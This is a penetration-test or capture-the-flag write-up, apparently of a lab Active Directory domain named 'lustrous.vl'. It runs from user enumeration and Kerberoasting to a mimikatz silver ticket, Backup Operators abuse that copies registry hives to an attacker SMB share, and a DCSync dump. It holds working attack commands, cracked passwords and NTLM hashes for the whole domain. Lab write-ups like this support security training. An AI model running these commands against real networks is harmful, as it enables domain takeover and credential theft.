401 Unauthorized indicate the presence of Kerberos authentication
Kerberos
User enumeration revealed valid usernames using statistically-likely-usernames/john.smith.txt
Compromising LUSMS
Initial foothold on LUSMS
Discovering Users within FTP Service
Discovering users via kerberos user enumeraiton
Cracking the ben.cox password using hashcat
Valid Credentials: ben.cox:Trinity1
Discovering kerberoastable users using the valid credentials
Cracking ticket grating service for svc_web
Valid Credentials: svc_web:iydgTvmujl6f
Privilege Escalation to Administrator
Retrieving the administrator credentials
During the enumeration the tester found a System.Management.Automation.PSCredential object in admin.xml that containing the Administrator credentials encrypted.
The tester used Import-CliXML to obtain the administrator's plain text credentials.
Authenticating as Administrator in LUSMS
Compromising Domain Controller (lustrous.vl)
Authenticating into lusdc.lustrous.vl website with valid credentials
Using ben.cox credentials the tester was able to authenticate to the web site using kerberos authentication.
Discovering a high valuable target using Bloodhound
While analyzing BloodHound, the tester discovered a highly valuable target, tony.ward, who is a member of the Backup Operators group. This group allows users to dump the SAM, SYSTEM, and SECURITY registry hives, as well as the NTDS.dit file.
Knowing that, the tester proceeded to use svc_web account and create a silver ticket to access to the application on behalf of tony.ward.
Crafting silver ticket for tony.ward using mimikatz.exe
Requesting to the web application and discovering tony.ward credentials
Abusing Backup operator to compromise domain controller
Dumping Registry Hives using BackupOperatorToDA
Dumping the Local Security Authority
Performing DCSync Attack
Authenticating as Administrator
Privilege escalation from Administrator to NT Autority System
Nmap scan report for 10.10.205.53
PORT STATE SERVICE REASON VERSION
21/tcp open ftp syn-ack ttl 127 Microsoft ftpd
53/tcp open domain syn-ack ttl 127 Simple DNS Plus
80/tcp open http syn-ack ttl 127 Microsoft IIS httpd 10.0
88/tcp open kerberos-sec syn-ack ttl 127 Microsoft Windows Kerberos (server time: 2025-04-24 23:10:26Z)
135/tcp open msrpc syn-ack ttl 127 Microsoft Windows RPC
139/tcp open netbios-ssn syn-ack ttl 127 Microsoft Windows netbios-ssn
389/tcp open ldap syn-ack ttl 127 Microsoft Windows Active Directory LDAP (Domain: lustrous.vl0., Site: Default-First-Site-Name)
443/tcp open ssl/http syn-ack ttl 127 Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
445/tcp open microsoft-ds? syn-ack ttl 127
464/tcp open kpasswd5? syn-ack ttl 127
593/tcp open ncacn_http syn-ack ttl 127 Microsoft Windows RPC over HTTP 1.0
3268/tcp open ldap syn-ack ttl 127 Microsoft Windows Active Directory LDAP (Domain: lustrous.vl0., Site: Default-First-Site-Name)
3269/tcp open tcpwrapped syn-ack ttl 127
3389/tcp open ms-wbt-server syn-ack ttl 127 Microsoft Terminal Services
5985/tcp open http syn-ack ttl 127 Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
9389/tcp open mc-nmf syn-ack ttl 127 .NET Message Framing
49667/tcp open msrpc syn-ack ttl 127 Microsoft Windows RPC
49669/tcp open msrpc syn-ack ttl 127 Microsoft Windows RPC
53990/tcp open ncacn_http syn-ack ttl 127 Microsoft Windows RPC over HTTP 1.0
53991/tcp open msrpc syn-ack ttl 127 Microsoft Windows RPC
54030/tcp open msrpc syn-ack ttl 127 Microsoft Windows RPC
54047/tcp open msrpc syn-ack ttl 127 Microsoft Windows RPC
Nmap scan report for 10.10.205.54
PORT STATE SERVICE REASON VERSION
135/tcp open msrpc syn-ack ttl 127 Microsoft Windows RPC
139/tcp open netbios-ssn syn-ack ttl 127 Microsoft Windows netbios-ssn
445/tcp open microsoft-ds? syn-ack ttl 127
3389/tcp open ms-wbt-server syn-ack ttl 127 Microsoft Terminal Services
5985/tcp open http syn-ack ttl 127 Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
49670/tcp open msrpc syn-ack ttl 127 Microsoft Windows RPC
❯ evil-winrm -i 10.10.205.54 -u 'Administrator' -p 'XZ9i=bgA8KhRP.f=jr**Qgd3Qh@n9dRF'
Evil-WinRM shell v3.7
Warning: Remote path completions is disabled due to ruby limitation: quoting_detection_proc() function is unimplemented on this machine
Data: For more information, check Evil-WinRM GitHub: https://github.com/Hackplayers/evil-winrm#Remote-path-completion
Info: Establishing connection to remote endpoint
*Evil-WinRM* PS C:\Users\Administrator\Documents>
PS C:\Users\Administrator> .\mimikatz.exe privilege::debug "kerberos::golden /domain:lustrous.vl /user:tony.ward /id:1114 /target:lusdc.lustrous.vl /service:HTTP /sid:S-1-5-21-2355092754-1584501958-1513963426 /rc4:e67af8b3d78df5a02eb0d57b6cb60717 /ptt" exit
.#####. mimikatz 2.2.0 (x64) #19041 Sep 19 2022 17:44:08 .## ^ ##. "A La Vie, A L'Amour" - (oe.eo) ## / \ ## /*** Benjamin DELPY `gentilkiwi` ( benjamin@gentilkiwi.com ) ## \ / ## > https://blog.gentilkiwi.com/mimikatz
'## v ##' Vincent LE TOUX ( vincent.letoux@gmail.com )
'#####' > https://pingcastle.com / https://mysmartlogon.com ***/
mimikatz(commandline) # privilege::debug
Privilege '20' OK
mimikatz(commandline) # kerberos::golden /domain:lustrous.vl /user:tony.ward /id:1114 /target:lusdc.lustrous.vl /service:HTTP /sid:S-1-5-21-2355092754-1584501958-1513963426 /rc4:e67af8b3d78df5a02eb0d57b6cb60717 /ptt
User : tony.ward
Domain : lustrous.vl (LUSTROUS)
SID : S-1-5-21-2355092754-1584501958-1513963426
User Id : 1114
Groups Id : *513 512 520 518 519
ServiceKey: e67af8b3d78df5a02eb0d57b6cb60717 - rc4_hmac_nt
Service : HTTP
Target : lusdc.lustrous.vl
Lifetime : 4/26/2025 4:52:33 AM ; 4/24/2035 4:52:33 AM ; 4/24/2035 4:52:33 AM
-> Ticket : ** Pass The Ticket **
* PAC generated
* PAC signed
* EncTicketPart generated
* EncTicketPart encrypted
* KrbCred generated
Golden ticket for 'tony.ward @ lustrous.vl' successfully submitted for current session
mimikatz(commandline) # exit
Bye!
PS C:\Users\Administrator> .\BackupOperatorToDA.exe -u tony.ward -p U_cPVQqEI50i1X -d lustrous.vl -t \\lusdc.lustrous.vl -o \\10.8.5.48\smbfolder\
Making user token
Dumping SAM hive to \\10.8.5.48\smbfolder\SAM
Dumping SYSTEM hive to \\10.8.5.48\smbfolder\SYSTEM
Dumping SECURITY hive to \\10.8.5.48\smbfolder\SECURITY
❯ impacket-secretsdump -sam SAM -security SECURITY -system SYSTEM local
Impacket v0.12.0 - Copyright Fortra, LLC and its affiliated companies
[*] Target system bootKey: 0x9619c4c8e8d0c1e1314ca899f5573926
[*] Dumping local SAM hashes (uid:rid:lmhash:nthash)
Administrator:500:aad3b435b51404eeaad3b435b51404ee:1e10fc3898a203cbc159f559d8183297:::
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
DefaultAccount:503:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
[-] SAM hashes extraction for user WDAGUtilityAccount failed. The account doesn't have hash information.
[*] Dumping cached domain logon information (domain/username:hash)
[*] Dumping LSA Secrets
[*] $MACHINE.ACC
$MACHINE.ACC:plain_password_hex:0981fd4f8fc47444e5e696ca6626c7a336eb220d0534ca23ad6a2bb042f5fdd25e030ce6015fdb518d40685530ab5193ec9272c3513f0f6a0280aed3ef7eaa92c0730a287a2ef933b5c4e870a0233b44b81d35e33efe5d62ae847f84bef14b3fcf57930a49cba029e740800ae4f9721558b913de32531fa5bc89ba06d00748573d0b6935502b24852b8fa2ea74e1def3f6bb1d633f0531a686f61d2f66bf338e0b39d51da37488dd446e3982ed239bcf9395ca463cacd3c695eb0ff09e74f977e792e2cbcf786b5015ad7062de0e39f1a429390e0b843d8fb04a96280b1a28252afa3155c713ac260af165655e7897ec
$MACHINE.ACC: aad3b435b51404eeaad3b435b51404ee:fb2c49ead49730d2b4e701c4bd169af4
[*] DPAPI_SYSTEM
dpapi_machinekey:0x908c1b9d1eba6062f66247d016952eab010c4f62
dpapi_userkey:0xe7d85d4c5db116a07bd02c655623691eae32c387
[*] NL$KM
0000 B6 96 C7 7E 17 8A 0C DD 8C 39 C2 0A A2 91 24 44 ...~.....9....$D
0010 A2 E4 4D C2 09 59 46 C0 7F 95 EA 11 CB 7F CB 72 ..M..YF........r
0020 EC 2E 5A 06 01 1B 26 FE 6D A7 88 0F A5 E7 1F A5 ..Z...&.m.......
0030 96 CD E5 3F A0 06 5E C1 A5 01 A1 CE 8C 24 76 95 ...?..^......$v.
NL$KM:b696c77e178a0cdd8c39c20aa2912444a2e44dc2095946c07f95ea11cb7fcb72ec2e5a06011b26fe6da7880fa5e71fa596cde53fa0065ec1a501a1ce8c247695
[*] Cleaning up...
❯ impacket-secretsdump -k -no-pass lusdc.lustrous.vl -just-dc
Impacket v0.12.0 - Copyright Fortra, LLC and its affiliated companies
[*] Dumping Domain Credentials (domain\uid:rid:lmhash:nthash)
[*] Using the DRSUAPI method to get NTDS.DIT secrets
Administrator:500:aad3b435b51404eeaad3b435b51404ee:b8d9c7bd6de2a14237e0eff1afda2476:::
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
krbtgt:502:aad3b435b51404eeaad3b435b51404ee:39049058eaa5309ce13788c31fcba8a4:::
lustrous.vl\Deborah.Harris:1104:aad3b435b51404eeaad3b435b51404ee:87009f579ed9bc7dd01c6d369c3f99b8:::
lustrous.vl\Duncan.Spencer:1105:aad3b435b51404eeaad3b435b51404ee:64587f4044d57329db255cbed249ce4e:::
lustrous.vl\Brenda.Andrews:1106:aad3b435b51404eeaad3b435b51404ee:70f159bb0c84242302014ce70a7f5ae6:::
lustrous.vl\Rachel.Parker:1107:aad3b435b51404eeaad3b435b51404ee:924bb1caac4986b7c95097f33336980a:::
lustrous.vl\Wayne.Taylor:1108:aad3b435b51404eeaad3b435b51404ee:78b83ed65c7286b2a434bdba026244e4:::
lustrous.vl\Hugh.Wilkinson:1110:aad3b435b51404eeaad3b435b51404ee:46213f1b9d43de00629e338e0b040029:::
lustrous.vl\Tracy.Roberts:1111:aad3b435b51404eeaad3b435b51404ee:b291d04a0d7b6cdb63b46727a38f1b86:::
lustrous.vl\Bradley.Hancock:1113:aad3b435b51404eeaad3b435b51404ee:cbadf75321c9aa0a47b403ef1e0a7c55:::
lustrous.vl\Tony.Ward:1114:aad3b435b51404eeaad3b435b51404ee:78b83ed65c7286b2a434bdba026244e4:::
lustrous.vl\Joanna.Hall:1115:aad3b435b51404eeaad3b435b51404ee:7837938248efd8b5d6115c8cce33159a:::
lustrous.vl\Marian.Elliott:1116:aad3b435b51404eeaad3b435b51404ee:2663fd84b68f22555d66508b7fddb28e:::
lustrous.vl\Ben.Cox:1117:aad3b435b51404eeaad3b435b51404ee:779041047eed27dc382579f2e9c1bd78:::
lustrous.vl\Joanna.Harvey:1119:aad3b435b51404eeaad3b435b51404ee:000408bc26781f3453c485652fbfcc71:::
lustrous.vl\Jeremy.Clark:1120:aad3b435b51404eeaad3b435b51404ee:46068039554c7592d962ee79e86ed66b:::
lustrous.vl\Allan.Parker:1121:aad3b435b51404eeaad3b435b51404ee:7f6565f779ab0e30a8a89d9563571f5d:::
lustrous.vl\Mitchell.Fuller:1122:aad3b435b51404eeaad3b435b51404ee:ac55b50b2fdc4ecc91c9c511cbf67529:::
lustrous.vl\Colin.Dodd:1123:aad3b435b51404eeaad3b435b51404ee:13416726f488801791d0027da08fd72c:::
lustrous.vl\Liam.Atkinson:1124:aad3b435b51404eeaad3b435b51404ee:dc5248d6c0d804c638674d3ba61a27ad:::
lustrous.vl\Michelle.John:1125:aad3b435b51404eeaad3b435b51404ee:a987c80448f62e33a7ac269bef95e965:::
lustrous.vl\Iain.Evans:1126:aad3b435b51404eeaad3b435b51404ee:625fdd59d5d1b64d5f354a11f8a8d1b0:::
lustrous.vl\Donna.Collins:1127:aad3b435b51404eeaad3b435b51404ee:ada5c99f86d2f40d1e7103cda5647b09:::
lustrous.vl\Cameron.Walsh:1128:aad3b435b51404eeaad3b435b51404ee:7c55400f3da31598559e5227114e59ad:::
lustrous.vl\svc_web:1129:aad3b435b51404eeaad3b435b51404ee:e67af8b3d78df5a02eb0d57b6cb60717:::
lustrous.vl\svc_db:1130:aad3b435b51404eeaad3b435b51404ee:e9e4f101deca969c1b531486554e8400:::
LUSDC$:1000:aad3b435b51404eeaad3b435b51404ee:fb2c49ead49730d2b4e701c4bd169af4:::
LUSMS$:1133:aad3b435b51404eeaad3b435b51404ee:27383df0ae52aa0213165ee708d220b9:::
